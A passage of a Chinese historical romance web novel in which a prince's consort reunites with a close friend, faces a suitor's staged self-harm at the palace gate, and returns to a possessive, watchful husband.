他们只知道晋王下了死令,不允许任何人进府,特别是找王妃。 是以郑伊湄叫人通报时,无人进门通传,两只长戟将门横挡,不像是王府,倒像是大理寺狱一样。 郑伊湄知道这绝非岑璠的命令。 门口的人倒也是听说过荥阳郑氏,见此女虽身着一身书生的衣裳,却气度不凡,贵气十足,倒也无人上前驱逐。 那侍卫长说话倒也还算客气,拱手一礼,“姑娘见谅,王妃不便见客,请回吧。” 郑伊湄此次来晋阳是来看崔迟景,也是想给岑璠一个惊喜。 前段日子送来的信上,她分明说自己在晋阳很好,见到了许多不曾得见的大观,现如今怎会不便见客? 郑伊湄隐隐觉得蹊跷。 好在韩泽及时从城外回来,将人迎了进去,道了声莫怪。 这是刚才殿下离城时的吩咐,想来也是怕王妃在府中太无聊孤单,让这位姑娘来陪着解解闷。 岑璠在这王府也确实无事可做,不过这倒是和他在不在没有太大关系。 思来想去,来这里最充实的,竟是和尔朱阳雪出去跑马的那个早上。 刚来晋阳时,他怒时曾说要让她操持府中大小事务,做好王妃的本分,可这些麻烦事到底也没落到她头上。 她王府里做的最多的事,除了和他在床榻上厮混,似乎便是喂鱼。 前几日倒是想调些香,他却是叫来人,将那些香料拣出来好几味。 他对子嗣之事向来谨慎过头,不仅会注意她的饮食,连沐浴时用的香料都会在意。 不过他应该是忘了每日悬在帐上的那只香囊。 昨日叫水已是深夜,晋王一清早便去了军镇,她醒的晚,百无聊赖便又拿了鱼食去外面。 听到郑伊湄来府上时,手在空中停住,星点鱼食从指尖漏出,在水中漂浮荡漾。 她应该是刚来晋阳,身上还穿着一身适合远行的男装。 她小时候见到她,她便是这样的打扮。 湖心的一方小亭总算有了客人,也多了些人气。 岑璠让紫芯上了些瓜果,似觉得不够,又让槿儿去窖中取了一壶酒。 她埋下的青梅酒时间太短,这坛酒是从王府的酒窖中拿出来的。 她未拿他的酒,那坛酒是她从彭城带来,算是她的嫁妆。 下人们简单摆好席便退下,只留三人在湖心亭中。 岑璠说起了前一阵在府中酿酒的事,至于府中的争吵,对她的诸多管控,她并不想让这两个人知道。 崔迟景总觉得自己有些多余,可总归是相识,不愿场面到他这里尴尬,也聊得熟络。 “没想到岑姑娘竟也是爱酒之人。” 他说这番话时,目光始终追随着另一个人,似满眼都是她。 岑璠眨了眨眼,也看向阿湄。 她分明才喝了一杯,脸上却似染了醺色,小声嗫嚅:“谁也爱喝酒” 崔迟景打趣:“瞧,还不承认了,要不我把你的酒盏撤了?” 郑伊湄显然是不愿,“光说不喝酒,那可没意思。” 崔迟景恍然间想到什么,静了一瞬,患儿一笑,仰头自罚一杯。 那日她醉时哭了,同他说的也是这句话。 她那时哭是因为他……。 岑璠轻笑,又问:“阿湄和崔公子怎么来了晋阳?” 两人一对视,郑伊湄解释道:“寻简来晋阳上任,我” 她顿了顿,微微低头,道:“我没来过这里,便随他来这里游历一二,也想来看看皎皎。” 岑璠对崔迟景并不了解,阿湄曾在别院说过,他是杨太尉的儿子,改姓崔而已。 她第一次见到此人,是随晋王而来,风流倜傥,眉目温善。 她看第一眼,便觉得崔迟景不适合入仕。 阿湄说过,他为她想入仕。 而他现如今真的这么做了。 阿湄也说她一辈子认定了这个人 她不曾拥有过这样的感情,却也能感觉到,阿湄和他在一起是不一样的。 少了些端庄,多了些俏皮和小性子。 青梅竹马,两小无猜,单纯的喜欢。 真好 岑璠展开笑颜,轻轻问道:“那打算什么时候走?” 郑伊湄回过神,答道:“这段时间都不会走,阿父这里有套宅子,在这儿住一阵。” 皎皎嫁入王府后,她和阿父大吵了一架。 后来大兄劝说调解一番,阿父没再说她不争气,更没有再说过皎皎。 她与她的第一封书信,还是阿父亲手交到她手上的。 她来晋阳时,阿父并未阻止,即使知道崔迟景在这里,也不知道是不是真的想开了 如果真是如此,那便是一切都如愿。 她看向岑璠,想再多说些什么,却见她转头看着湖面。 “阿湄若是得空,多来王府坐坐也好。” 这话犹如鸿毛,郑伊湄不知道她为何会这般同她说。 似并无多少期盼,只是轻轻一句。 她似乎与出嫁前有些不同,面色看起来更红润,却似乎更加安静,冷清,似还透着些寂寥。 像花丛中被摘下的一朵芍药,被养在盆中,独枝盛放,却少了些花团锦簇的热闹。 岑璠转头时,雪白的侧颈露了出来,有一道红印,那是昨晚留下的。 他今晨离去时,竟也没忘记给她挑身衣裳。 这些痕迹他向来不许她遮住,有时还会故意去看,府中无人拜访她,她也不没怎么在意,久而久之便是忘记去遮。 那道红印实在明显,郑伊湄看得清楚。 郑伊湄罕见地局促,想提醒一二,可崔迟景还坐在这里,她一个未出嫁的姑娘,不知道该如何提醒,袖下手攥得紧 崔迟景察觉到异常,随着她的目光看去,也慌乱一瞬。 他瞟开眼,清了下嗓子,站起身道:“我刚来晋阳,还有事要忙,你们这酒这么也喝没有意思……。 他笑呵呵道:“昨日在街上看到了阿湄喜欢吃的干果,我、我待会儿去买些,让人给你们送来。” 郑伊湄点头,两人似是心照不宣,一个继续坐着,另一个离席。 岑璠总觉得两人的反应有些奇怪。 待到崔迟景走后,郑伊湄手掩起嘴,像普通的闺阁姑娘说悄悄话那般,低声同她说了句什么。 岑璠的脸顿时红了许多,无措地捂上脖子。 郑伊湄倒也没多笑她,“我刚来洛阳,寻简他刚上任,这几日还要有劳皎皎,带我在城里多走走了。” 她笑靥温柔,让人无法拒绝。 可晋王临走时下过令。 她不得离府,昨天他在她耳边说过,在她快睡熟时也说过。 她隐约能猜出是在防着杨太尉来府上,却不知道他为何要一 遍一遍重复,像是某种执念,又像是在害怕什么。 她低垂了目光,还是刚才的那一句,“阿湄若是得空,还是来王府坐坐吧” 郑伊湄朱唇微合,沉默良久,看向她的目光闪动。 那眼底里不是怜悯,而是伤感,还有心疼 天上云卷云舒,偶有云飘过,遮住了烈阳,波光粼粼的湖面黯淡了一瞬。 有些东西,她终究还是没藏住。 岑璠抿了唇,遮着脖子的手慢慢垂下。 比起那没有遮住的吻痕,她最在意的,还是她窥探到这些。 她在王府,其实是一只被精心饲养在笼中的雀。 亭中静谧,湖中的锦鲤时而藏匿与荷叶间,时而摆尾游荡,看似自由,可始终游不出被人圈围的碧湖。 遮住金轮的那抹云慢慢移开,光晕从云边洒出,湖面光与影随云而动。 亭中光暗分明,似楚河汉界,岑璠坐在暗处,而她对面的人迎着光。 可慢慢的,她身上的暗也散了,和亭中的她一样,染上了光。 郑伊湄眼眸一弯,束发的绑带白如羽,随微风飘扬,也不追问,将她的为难轻轻揭过。 “皎皎若是不嫌弃,我每日来这里也不是不行。” 岑璠眼中晕了光,她轻轻侧头,莞尔一笑,“不嫌弃。” * 晋王走的第一日,岑璠晚上睡得踏实。 说实话,她还是喜欢一个人睡,一个人清闲地睡 不似昨日一早碧空如洗,此刻天空泛白,灰暗阴霾,空气中弥漫着土腥味,似是要下雨。 街上行人匆匆,早起的摊主看了看天,也微叹着摇头准备收摊。 岑璠未晚睡,起的便也早了些。 阿湄昨日答应她,会来府上陪她 岑璠用完早膳后,便一直坐在回廊下。 乳娘看了看低压的阴天,给她披了一件薄衫,“姑娘别冷了” 岑璠微微移目。 她总觉得今日乳娘有些反常,往日若是这般,乳娘定是要再多念叨几句。 不过岑璠没多在意,她轻轻问道:“韩泽呢?” 乳娘道:“韩大管家正忙呢。” 她想了想,笑道:“姑娘放心,郑姑娘若是来了,韩管家肯定会来说的。” 岑璠觉得不对,放下手中的书。 就在此时,府里的婢女春晓跑来,“苏媪,韩管家说要您去趟门口呢” 乳娘似愣了愣,站起身,话急了些,“不是说都处理好了!怎么说到这儿来了!” 岑璠愈发觉得不对,“究竟发生了什么事? 乳娘支支吾吾,眼神愈发慌乱。 岑璠心总不安。 阿湄她还一直未来,她昨日说了会来,便不会食言才对…… 她站起身,道:“我要出去看看……” 乳娘愈发觉得难,她眉皱成一团,“姑娘还是别出去了,殿下不是说过,让您不要出府。” 岑璠紧抿唇,“我要出去” 乳娘拗不过她,也不欲再隐瞒,“真的不是郑姑娘,其实就是府外发生了些事而已!” 岑璠还记得,乳娘曾对阿湄有所介意。 这番话她并不全信。 她绝不允许阿湄在晋阳出任何事。 她疾步向门外走去,乳娘回头看了看那婢女,指指点点一番,无暇再顾及,追上岑璠。 两人一走一追,到了门口,积压了许久的乌云,散落几滴雨,落在岑璠发间。 乳娘指望门内的侍卫能拦住她。 门外似有女子的哭声,岑璠眼睛猩红,一扫门口的侍卫,那眼神好似比晋王还冷些 她走近了些,对上其中一个侍卫的眼睛,“让开!” 那些侍卫互相看了看,低头颔首,“王妃见谅。” “再说一遍,让开。” 还是无人敢开门。 岑璠咬紧牙,直向门而去,自己要开门。 侍卫倒也没料到会有这种状况,晋王似也认定王妃不会轻易出府,并未做太多交代。 周围的人怕伤到王妃,到真无人敢上手去拉。 乳娘跺脚,终于打算摊牌,“姑娘,门外是有人,但真的不是郑姑娘啊!” 可那扇门已经打开了。 岑璠看清了门外的场景。 周围无人,或者说门外的人被侍卫清理地干净,王府门前的是个小姑娘,面显稚嫩,却不是阿湄。 那女子穿着白衣,正在啜泣,立在她身旁的男子身穿黑衣,替女子撑着伞,站得板正,她并不认识。 那姑娘脸色似有些苍白,像是大病初愈,嘴里含含糊糊重复着一句话。 岑璠听不真切,却也能隐约听出来。 小姑娘说要见她,要见这府里的王妃。 第40章 第四十章(一更)提前回来了…… 岑璠在门外站了一会儿,刚才的患得患失骤然消散,取而代之是对那哭声的冷漠。 想到刚才的婢女,还有乳娘的异样,岑璠转身就要进门。 那女子哭的犀利,“王妃,我求您让我进府吧。” 韩泽也在门外,心道不好。 跪在这里的是余家小姑娘余灵均,不知为何,宁愿死都要嫁给他家主子。前段日子送画,殿下将那些碎纸洒在了余家门口,还让余家人教训了余灵均身边的婢女。 没想到这女子前段日子竟是跳了河,如今刚好了些,又要来府上闹。 站在她身边的,还是太尉身边的亲信杨镇。 竟还真是个不怕死的…… 他知道这两人来者不善,这女子来的时候,正是一天最热闹的时候,官民来往。 他刚刚下令封街,将王府附近的人都驱逐开,几里之外的人都不会听到动静,稳定住那女子后,又暗中派人去请那姑娘的家人 没去请余家家主,请的是那姑娘的表亲,当地大氏族王氏。 他特地嘱咐了府中人,千万莫要将此事告知王妃,傅媪是知道的。 王妃怎么会恰好在这个时候出府……。 他如何向殿下交代啊。 岑璠并未理会那女子的哭喊,深知若管会招惹上麻烦,就要进门。 她没看到的是,余灵均袖中藏了只簪子。 在她转身的那一刹那,那只簪子对向余灵均自己的脖子。 站在她身边的杨镇就那么冷漠地看着,并未阻拦。 那余灵均似有一瞬的犹豫,韩泽眼疾手快,抢下了那只簪子。 岑璠听到惊呼,转过身时有一瞬的惊讶,而后面色越来越凝重,仿佛浮了层冰霜。 她抬步走下台阶,慢慢走近,同那黑衣男子对视一眼,又低眼看向那女子。 她抬起手,照着那张稚嫩的脸,狠狠扇了一巴掌。 这一巴掌并不重,可到底是清脆的一声响。 余灵均被扇歪了头,眼睛大睁,似是怔住,愣是一句话都没说出口。 杨镇一声冷笑,“王妃可别太善妒了。” 岑璠用余光看他,“我不过是想告诉她,搭进去一条命,只为了做给其他人看,太不值了。” “王妃说的对。” 岑璠顺着声音的方向看去,却见一女子朝她们而来,秀丽温婉,玉簪螺髻,颔首低眉,行礼时举手投足间都是端庄。 “太原王氏王莳,见过王妃。” 王莳并未怪她打了人,转头看向跪在地上的姑娘,眼中渐渐有些湿润,眼睫上落有一滴细雨。 “你起来。” 余灵均并未起来,王莳眼睫颤了颤,重复了一遍,“你起来,我嫌丢人…” 余灵均缓缓站起身,身子晃了晃,似有些站不稳。 王莳握住住她的手臂,嘴抿住,一只手将她扶住,用力往上一提,直到她定直才放手。 她怨怒道:“你这样子是要做给谁看?你要死的话,为何不再死远一点,最好我不知道!” 余灵均低着头,喃喃道:“表姊,你莫要再管我了……” “我不管你,那谁来管你,是你的父亲和哥哥吗?”王莳声音发颤,“他们把你害成这个样子,我不管你,难道要看着你死在这里吗?” 岑璠听着,总觉得这番对话似在哪里听过…… 七夕节上,似有人跳了河,扑灭了她的花灯。 难怪他那时要拉她走…… 岑璠一时觉得脑袋疼,不想再听,想要进门。 杨镇道:“王妃是不打算管了吗?” 岑璠上下来回看了看他,问道:“你是谁?” 杨镇话音哽住一瞬,道:“太尉让我带话给王妃,殿下不论将来如何,都不会只有王妃一个人,王妃该明白这个道理。” 岑璠轻笑,“所以这位姑娘,是打算做个妾室吗?” 杨镇转头问向余灵均,“姑娘觉得呢?” 王莳挡在余灵均面前,直对上杨镇的目光,道:“她不会嫁,我也绝不会让表妹嫁来王府做妾!” 这话说的坚定,周围谁都没再说什么。 韩泽算是长舒一口气。 他这人可是找对了。 这王姑娘和余姑娘的母亲关系要好,两个姑娘年龄相仿,一起长大,余家在此处过去也算是有头有脸的世家,不过后来大小世家不断吞并,有王氏盘踞晋阳,这余家便也慢慢没落了。 余家夫人去世的早,剩下的那对父子,对家里的姑娘,当真算不上好。 五个女儿,四个虽都是高嫁,可要么是妾室,要么是续弦,余家二姑娘有一回哭着跑回娘家,却被余家老爷揪回夫家跪下道歉。 这余姑娘是余家最小的女儿,幸好是有这么一个表姊护着,不然到十五岁这个年纪,估计也早就被送出去了。 王姑娘,当真也是个好人啊…… 岑璠看向王莳,微微颔首,“方才出手,多有得罪,姑娘莫怪。” 王莳朝她行礼,“该是我道歉才是,表妹她性情不坏,只是家里没教导好,性子有些偏执。” 岑璠摇头,“无妨。” 她又看了眼余灵均,瞧见她的面容憔悴,缺恍然间想到一场大雪…… 不知为何,好像就这么忽然出现在了脑海中。 “不管如何,都不该糟践自己。”她这么说。 一滴雨落在鬓发上,冰冰凉凉,似雪似冰,恍若隔世。 “皎皎说的对。” 身后传来熟悉的声音,岑璠眼睛顿时亮了。 她回头,不远处的姑娘手里提着一只精巧的食盒,另一只手上拿着束星碎的野花。 郑伊湄轻轻一笑,走到她身边,“这位姑娘的家人不肯,太尉大人还要如何?” 杨镇常年在晋阳,并不知道忽然出现的是何人。 那女子虽然手里拿了一束再普通不过的野花,可身上的衣饰并非凡物。 知道他是太尉的人,却敢这样说话的人也不多。 杨镇多看了她两眼,一拱手道:“此乃家事,在下不过将太尉的话转达而已。” 他露出了点笑容,只不过嘴角的那抹笑有些冷硬,“更何况刚才姑娘说的也不对,王姑娘不过是表亲而已,说是家里人,倒有些牵强。” “不瞒两位姑娘,让我带姑娘来的,正是余姑娘的父兄,余姑娘在家里茶饭不思,余家主不忍看她继续如此,这才托太尉来劝说一二。前段日子余姑娘跳河一事,王姑娘想必还没忘,王姑娘要是真的想着余姑娘,又如何忍心。” 王莳气的双颊涨红,“你…你还敢提,我看都是你们教唆的!” 若不是她的父兄贬低,将她折磨成这副样子,她的表妹何至于此! 她看背后,肯定也有杨氏挑唆! 郑伊湄握紧了手中的花,笑道:“好一个家事,算起来太尉也不过是晋王的表亲,倒不如交由晋王自己决断,又何必在此为难王妃?” “此为内宅事,王妃如何不能决定?” “晋王又非三岁小儿,不能言语,难道事事都要推给王妃?还是说是太尉是想将晋王摘得干干净净,最后不论是善妒还是痴心妄想,总归全都可以算作王妃和余姑娘的过错?” 杨镇半天说不出一个字。 这般不敬之语,试问他自己不敢说。 “你是何人?” 郑伊湄道:“荥阳郑氏,你奈我何?” 杨镇眼睛睁大了些,仔细将面前的人打量一番,看不到任何心虚和惧怕。 他沉默片刻,便是笑了笑,退开一步,“姑娘说笑,太尉也是担心此事处理不妥,余姑娘若真做出什么偏激的事,对王府,对王妃,都不是好事。” 他话里话外,还是在把罪责往外推。 郑伊湄不欲再多说,“皎皎,我们回去吧。” 王莳也拉了余灵均,“让太尉尽管放心,有我在,她不会做什么偏激之事,太尉与其派人来王府,不如派人去余府,好好同她的父兄说道一番。” 王府的大门关上,郑伊湄步子未停。 雨越下越大,乳娘跟住两人,让其他人去拿伞。 走出一段,岑璠反应过来,让乳娘将刚才前来报信的婢女制住,等晋王回来发落。 她并不像是第一次这么交代,这种事像是在王府发生过许多次…… 郑伊湄的手紧了紧。 到了廊下,她停住脚步,“皎皎是不是在骗我?” 岑璠脚步顿住。 郑伊湄问:“太尉是总来找麻烦对吗?你也并不像信上所说…那么好,是吗?” 廊外的雨越砸越响,砸出了一片水雾,凉意自廊外透出来,野花上沾上细碎冰冷的露珠。 岑璠一笑,没有回答。 她有她的仇,有她的不自在,可比起这些,到底是幸运多些。 她以为此生,她与她相认短暂,余生只能靠书信往来,再无见面的可能。 下一次再见到她,又不知是何时。 留她在王府,空消磨相见的时光。 她最终也没回答她的问题,接过她那束野花,轻轻道:“这束花我很喜欢,阿湄在哪里摘的?” “在城外,一早摘的。” 城外摘的野花啊… 岑璠低头拨弄那花瓣。 王府太闷了,她看不到这些花,让她陪她拘在王府也没有意思。 晋王走时千叮万嘱,连在床榻上也不忘了强调不让她出府。 一遍遍不容拒绝的命令就在耳畔,藏在心底的反抗,却呼之欲出。 太尉应当也是对郑氏有所忌惮,她若是和她一起出府,应当能免去更多麻烦。 甚至比他近乎禁足的安排要好一些。 她没由来的问,“我能到你的别院上住几日吗?” * 雨在晚时停歇,虹与彩霞交织,屋檐下都能闻到一股芳香。 雨停后,岑璠自己收拾东西准备出府。 韩泽自是不愿,乳娘也是劝了又劝。 岑璠将此间利处说与两人,韩泽能听得出她的决心,也能理解。 殿下就差拿把锁把屋门也锁了,换做他十几日不出门不见人,也受不了。 可殿下不让王妃出府,应当也不止是为了防着太尉啊…… 韩泽一时为难,“老奴没法交代呀…” “若是要处置,尽管说是我的意思,必不会让韩管事为难。” 韩泽能看的出她铁了心要和郑氏出府,便没在阻拦。 其实王妃说的不无道理,王府眼线太多,防不胜防,在郑氏的院子,太尉那边总归是忌惮。 王妃身边有殿下的人,他这些日再多派些人暗中看着,想必也不会出什么大乱子,起码不会莫名和其他人再跑了…… 到时候殿下回来,他提前派人将王妃接回来,便也算皆大欢喜。 * 岑璠走时,未瞒着太多人, 王府中人皆知,在殿下走后的第二天,王妃也离了府。 不似其他出嫁的女子,家中男人走后便独守空房好几月,王妃在殿下走后,便去了郑姑娘的宅院…… 夏日雨过,清凉却不冷, 郑氏宅院里有一处温泉,当晚,郑伊湄便邀她一起泡泉暖暖身子。 水汽四溢,朦朦胧胧,郑伊湄靠在池壁,岸边还放有清茶。 岑璠犹豫许久,未下池。 今晨她特意用脂粉遮住了脖子上的痕迹,可到底身上那些遮不住…… 她的大腿上,有一道很明显的红痕,还有胸口,能看的很清楚。 郑伊湄倒了杯清茶,未看她,轻轻问了一句,岑璠一闭眼,还是跳进了池子。 那水温比王府里的水热些,却让人浑身舒坦,血液都活泛了起来。 郑伊湄给她倒了杯茶,岑璠接过茶杯,学着她的样子,仰头看天上繁星。 雨后的清风格外清爽,格外惬意。 她很少在王府这么清静地泡过澡,或者说,几乎没有。 王府的浴池很大,却不是什么正经的池子,一高一低两个石台,他总要挑一处折腾她。 岑璠将那些事抛之脑后,抿了口茶,醇香自口中散开,舒服地闭上眼。 郑伊湄递茶时,瞥到了她身上的痕迹,脸上染了红霞。 这些离她还有些遥远…… 她的父 亲虽是态度好了些,却应当还是不会轻易同意她的婚事。 她和崔迟景认识这么多年,也只是发乎情,止于礼。 最多的也就是来晋阳的时候,她醉酒时抱过他,趴在他肩上大哭一场。 郑伊湄脸上越来越红,她甩了甩脑袋,接了杯茶,自己自罚一杯。 她喝完那杯茶时,却听身旁的人问道:“阿湄,你有没有想过,如果不能嫁给喜欢的人,你会做什么?” 这个问题,郑伊湄想过很多次,。 她道:“那我就不嫁人了。” 岑璠睁眼,“然后呢,阿湄打算做什么?” 郑伊湄似仔细想了想x道:“也许会学那些隐士,游山玩水,抚琴作赋,未尝不可。” 她的父兄对她很好,她也知道如今的崔家看似兴旺,实际上摇摇欲坠。 若是不能,她不会连累父兄,索性便不嫁了。 游于山水,同他做一辈子的知己倒也是好的。 她歪头又想了想,似觉得这样倒也真的不错,又展开了笑颜。 “到时候,说不定能多来晋阳,我在洛阳其实还有很多朋友,到时候带她们一起过来,让你认识。” 岑璠问时,没想过她会笑着回答。 就像是太阳一般,阴霾过后,照样会升起。 她自己从来没有想过,若是将来有一日大仇得报,而她能够顺利和晋王和离,自己能做些什么。 也许她说的这些乐事,她也能做。 忽而,她又想起一人,盈盈而笑,“其实我在晋阳,也认识了一个朋友。” “她说,若是她喜欢的男人不喜欢她了,换一个就是。” 那尔朱姑娘曾风轻云淡地说过,一个人不会是她的全部,她还有很多事可以做,有很多人要在意。 她过去只有珝儿一个亲人,再有便是乳娘和槿儿。 但也许她能有许多的朋友。 很多很多朋友。 她希望有一日,自己也能如此豁达,风轻云淡地说:“我还有很多要在意的。” 她不喜欢他,有很多其他在意的人。 她不需要他的那些近乎监视的爱护,不想要他了。 郑伊湄听到这句,却几乎呛了一口水,放下茶杯,将自己埋低了些,小声道:“我不会换的…” 她转头问,又问:“这是谁说的?” “上次宫宴见过,是尔朱氏的姑娘。”岑璠道:“信里写的那只鹰,便是她带我去看的。” 想到信,郑伊湄忽然想到起,“对了皎皎,过去你在岑家可有收到过什么信?” 岑璠茫然地摇头,显然是未曾收到过。 郑伊湄小声道:“那便怪了……” “阿湄是说,过去给岑家寄过信?” 她点头,“那次不辞而别,回到洛阳后,怕你认错人,我曾经派人去送hio信,但没有收到过回信……” 现在想来,她应是没收到来信,不然不可能一封都不回。 她当时还以为她讨厌她…… 岑璠确实没收到过什么信,她儿时在彭城没什么朋友,更何况是洛阳,她写过的信,都是给珝儿的。 莫不是岑家人藏了她的信? 也不是没有可能,她那表弟,还有她两个叔叔,向来爱盯着她的东西,珝儿的来信就被拦下来过一封,这些信也不是不可能被藏起来…… 岑璠皱起眉,“此事我再查查。” * 别院的这些日子过于惬意,有时岑璠会觉得是一场梦。 因着怕招惹麻烦,两人很少出门,可待在院子里,倒也能一起说说话,她抚琴,她作画,日子倒也过的极快。 崔迟景在晋阳附近的祁县上任,偶尔会过来一趟。 晋王回来的前两日,韩泽掐着时候传了话来,让她提前回府。 可当晚郑伊湄发起热。 崔迟景连夜从祁县过来,院中有婢女照看,可岑璠终究不太放心,多陪了她一晚,夜里帮倒了两回水。 第二日清早,崔迟景买了郑伊湄爱吃的梅干过来。 瞧着她精神比昨日好了些,岑璠才放心回府。 本想坐郑家的马车回去,谁知却有一辆马车毫无缘由地停在了那宅院外,无人进屋通报。 岑璠心里一怔。 她抿了抿唇,大概能猜到,他应该是知道她在这里,或许还提前回来了。 还或许,就坐在这辆马车里。【你现在阅读的是 】 40-50 第41章 第四十一章(二更)抢食 岑璠对晋王很是了解。 在人没有防备的时候,给最深的压迫,将人压到喘不过气,给予最深的恐惧。 这是他让她屈服的惯用手段。 她盯着那辆马车,手紧了紧。 果不其然,那一双骨节分明的手挑起帘幔,冷眸移向她。 他似是回来的急,脸上的浅青色的胡渣还未剃去。 晋王俊美,她也清楚,他对于自己的这副容貌并非毫不在意。 他不爱蓄胡,哪怕是冒出了一点尖也要剃掉,有时夜里他的胡渣会蹭得她难受,可隔日便会被剃平了。 这么看,比起平日来着实有些潦草…… 岑璠站在那里,等着他开口。 一声“上来”听不清情绪,有些沙哑,像是被风吹起的沙粒。 岑璠见过他心情好的时候。 若是他当真不在意,定是直接问出来了,不会像现在一样,淡淡一句“上来。” 他这般平静,显然是在压制,要找她秋后算账。 岑璠上了车,一坐下,手便被牢牢攥住,被攥的生疼。 他还是一句话未说。 回王府的车驾宽敞,却感到逼仄,她却要喘不过气。 岑璠逼自己忽视那种感觉,她不能每一次都是如此,不能每一次都这么受他的制衡。 她做的没有错,她只不过是想换个地方躲而已,并没有带来麻烦,他凭什么要朝她发火? 回到府上时,他却依旧没做什么,只平静道:“还没用早膳吧,陪孤用个早膳。” 元衡很少一起同她用早膳。 每日晨起得早,她能与他用早膳,也只有几个他不折腾她的夜晚。 一顿早膳稀松平常,宁静的过头。 岑璠几近要怀疑,他真的转了性子。 可屋内的下人退出去后,他却不咸不淡说了句,“你应该知道,崔公子和郑氏姑娘青梅竹马,他们二人两情相悦,谁也拆散不得…” 岑璠不知他为何忽然这么问。 他难道是觉得他们也该如此,所以在这里提点她? 旁的两人两小无猜,可他们呢? 一个以死相逼,一个以身入局,都不纯粹,他如何敢肖想。 岑璠道:“崔公子温文尔雅,郑姑娘气质如兰,着实般配,令人羡慕。” 温文尔雅…… 元衡下颌微动,道:“皎皎知道便好” 他只说了这么一句,看向她眼底的乌青,眼底有移不开的疼惜,伸手在她眼底摩挲,眼色晦暗不明,“皎皎这几日做了什么?” “不过在郑氏宅院暂避而已,闲来作画打发时间。”岑璠想了想,又道:“郑姑娘昨日病了,我——” 她话还未说完,便被打断,“她有崔氏照顾。” 岑璠闭上了嘴。 他眼中似染了墨色,“皎皎这几日可有想本王?” 那日余家人找上 门,岑璠确实想过。 若是他在,这些事应当能处理的更狠绝,她也不会听到这些麻烦事。 可也只是一瞬间,若是他在,她也不可能有机会见到阿湄 岑璠不想说出违心的话,只轻轻颔首。 元衡知道,她在敷衍他。 她应付他的时候向来如此。 他手指指节轻轻勾勒她面颊的轮廓。 那雪肌似玉般光滑,分明被他养的很好。 可出去几日,眼底便多了青黑。 岑璠想忽视他的动作,垂下目光,问:“那日在府上,殿下府上有个婢女——” 元衡动作未停,冷漠道:“已经杀了。” 岑璠这次到底没说什么。 上次锦禾不过是无知,晋王当着全府的人处置,没过多久便有人再犯,要么彻彻底底是杨氏的人,要么便是太拎不清。 这次她救不了。 元衡只那么轻轻一句,似也没打算解释。 岑璠继续道:“韩泽他们劝过我,是我待的烦闷,非要出府的,不怪他们。” 她越替其他人解释,元衡心底越是烦躁。 他不想听她说任何关于别人的事,包括韩泽。 他挑起她的下颌,“王妃既是想本王,不如替孤更衣沐浴,再睡一觉吧。” …… 这一沐浴,竟是快到了午膳时分。 浴池的水,终究不如温泉水那样终日暖和。 池内的雾气散去,池中的水已经温凉,池面溢出一波波水浪,在白玉地面上晕开。 池边凌乱地堆放着女子的衣衫,不似那整齐被挂在衣桁上的男子的衣袍,那衣裳似是被人猝不及防扯开的。 半截中衣垂在水中,岸上和水里的衣裳被水浪全部打湿,衣角随水波而动,时而缩回岸上,时而在水中展开。 层层水浪覆过玉背,葱指抓住紧紧抓住池边,骨节泛白,似不想让被剧烈汹涌的水浪冲走。 一室寂静时,她温热的脸颊贴在白玉上,湿了的鬓发不知是汗水还是池水。 重量再次从背后压了上来,岑璠撑起身,要往池外爬。 胡渣蹭在她的肩上,扎得她难受。 那声音似带有旖旎,“皎皎若是喜欢温泉,孤也有别院,改日咱们可以去城郊” 岑璠未有答话。 她知道,他并不是疯病好了,只是耐心变长,能装了而已。 那胡渣还在轻轻蹭着,她未动,眼睛却微睁,有一瞬的清醒。 他怎么会知道她在郑家时去了温泉? 随她去郑家别院的都是她身边的亲信,应该无人会告诉他这些。 难不成他在郑家安有人? 她的一举一动,好似他都能看到,即使是他不在晋阳…… 脊背上覆着炽热,岑璠却觉得背上寒芒刺骨。 元衡见她分神,似是不满,手重了些,贴在她的脸颊,贴的也愈发近。 他确实心底有怨。 她身边有他的人,那是他很早之前,甚至在没拥有她之前就安在她身边的人。 她说她在郑家不过避难,闲来作画打发时间。 可他问到的并非如此。 泡泉饮茶,抚琴作画,这样惬意的事,她与他都不曾做过…… 她不喜欢在他的王府作画,唯一一幅是她在府外看到的鹰,可她却在那么小的别院里,画了一幅又一幅。 更何况,她还和她日日躺在一张床上。 别的也就罢了,这一点他不能容忍。 能与她躺在同一张榻上的只能是他。 元衡闭上眼,这些话终究没与她说出口。 若是她躲在了男子的别院,他可以肆无忌惮地怒,在她耳边一遍遍说自己的不满。 可那是个女子。 祈求从一个女子身上分得她的些许偏爱,终究显得太狼狈。 太过可怜。 他眼眸由深色变红,抿住唇,看住她,从极近忽然严丝合缝。 水波又一层层荡开,许久未歇。 * 岑璠头疼了许久,用完午膳,当真如他所说,睡了一个下午。 再起时,他脸上的胡渣已经刮去,又恢复了一副冷清俊美的模样。 槿儿来传话,说郑伊湄还有些发热。 岑璠终究放心不下,隔日便想回别院看看。 元衡从军镇回来,今日得闲。 他只说了句“知道”,到底没阻拦她出府,像是大度。 他不想她讥讽他。 岑璠到时,郑伊湄正喝着药。 崔迟景手里捏了颗梅子,在她喝下药的那一瞬间,将梅子塞在她的嘴里。 岑璠能看得出,崔迟景将她照顾的很好。 那青梅,她前些日子也刚摘过些。 天已是入秋,树上的梅早已落干净。 府中的下人有专门采摘梅子的,岑璠便是问人要了一些。 她并不会做点心,连柴火都未碰过。 可她想学着做。 元衡发现,她这几日不仅常往郑氏的别院跑,还时常往灶房去。 她似乎之前从未去过灶房。 上一世的她,似是会做饭的,还会做许多点心。 那时他时而怀疑她是岑家送来的人,并不会吃她送来的点心。 可她不厌其烦地送,他也扫过几眼。 她送给他的点心,有很多花样。 元衡虽然觉得那点心不是做给他的,可不管是什么手段,他总归绝对能尝到第一口。 也许,也许也说不准是给他。 他回来后好不容易得闲,她是知道的。 他日日等在房里,而她每日都要去郑家的别院,让他等一便是早上。 他从来没阻止她和郑氏女相见,她还满意才对。 他们近来的关系算是融洽,也许她真的是愧疚,想要他补偿一二。 元衡这么想,这几日岑璠出门,便表现的愈发大度,甚至会主动过问两句郑伊湄的情况。 这几日,岑璠看的书也从杂书字帖,变成了菜谱。 元衡偷偷瞄过几眼,知道她应该是和上一世一样,要做些点心。 心底本不抱希望,但那种想法忽然变得呼之欲出。 岑璠开灶的那日,身边有许多人在。 乳娘亲自教她如何将青果包裹在面团,如何下锅才能让面皮酥黄金脆。 岑璠到底是第一次做,一个下午也没做出满意的。 乳娘到底是没想明白这点心要送给谁,教的颇有兴致,只说让她改日再试,晋王宠她,总会喜欢。 灶房的动静并不算小,元衡却始终未过问,也未踏足那灶房之地,只嘱咐灶房的人多看着火,莫要让王妃伤了。 可即使是如此,岑璠的指肚上还是被烫出一两个油印。 